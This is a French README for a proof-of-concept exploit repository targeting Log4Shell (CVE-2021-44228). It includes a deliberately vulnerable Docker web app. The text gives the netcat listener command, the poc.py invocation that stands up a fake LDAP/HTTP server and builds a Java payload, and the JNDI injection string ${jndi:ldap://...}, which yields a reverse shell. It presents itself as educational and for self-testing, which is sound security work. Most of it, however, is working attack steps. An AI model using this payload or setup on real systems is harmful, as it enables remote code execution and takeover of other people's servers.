
Exploit de preuve de concept pour CVE-2021-44228 (Log4Shell) avec configuration automatisée de serveur LDAP/HTTP et génération de payload de reverse shell pour des tests éducatifs.
Preuve de concept pour la vulnérabilité récemment découverte CVE-2021-44228.
Récemment, une nouvelle vulnérabilité a été découverte dans log4j, une bibliothèque de journalisation Java très largement utilisée dans des applications comme Elasticsearch, Minecraft et bien d'autres.
Dans ce dépôt se trouvent un exemple d'application vulnérable et un exploit de preuve de concept (PoC).
En tant que PoC, un fichier Python automatise le processus.
pip install -r requirements.txt
nc -lvnp <netcat-port=example=2034>
jdk1.8.0_20 et se trouver dans le même répertoire.$ python3 poc.py --userip <your-ip-address> --webport <web-server-port=default=8000> --lport <netcat-listen-port=default=2034>
[!] CVE: CVE-2021-44228
[+] Exploit java class created success
[+] Setting up fake LDAP server
[+] Send me: ${jndi:ldap://<your-ip-address>:1389/a}
Listening on 0.0.0.0:1389
Ce script configure pour vous le serveur HTTP et le serveur LDAP, et crée également la charge utile que vous pouvez utiliser pour coller dans le paramètre vulnérable. Après cela, si tout s'est bien passé, vous devriez obtenir un shell sur le port d'écoute.
Un Dockerfile est fourni avec l'application Web vulnérable. Vous pouvez l'utiliser en suivant les étapes ci-dessous :
1: docker build -t log4j-shell-poc .
2: docker run -p 8080:8080 log4j-shell-poc
Une fois qu'elle est en cours d'exécution, vous pouvez y accéder sur localhost:8080
Remarque : Vous devez créer un compte pour pouvoir télécharger le package.
Une fois que vous avez téléchargé et extrait l'archive, vous trouverez java et quelques binaires associés dans jdk1.8.0_20/bin.
Remarque : Assurez-vous d'extraire le dossier JDK dans ce dépôt avec le même nom pour que cela fonctionne.
❯ ./jdk1.8.0_20/bin/java -version
java version "1.8.0_20"
Java(TM) SE Runtime Environment (build 1.8.0_20-b26)
Java HotSpot(TM) 64-Bit Server VM (build 25.20-b23, mixed mode)
Ce dépôt n'est pas destiné à être un exploit en un clic pour CVE-2021-44228. Le but de ce projet est d'aider les gens à apprendre cette vulnérabilité et peut-être à tester leurs propres applications (il existe toutefois de meilleures applications à cet effet, par exemple : https://log4shell.tools/).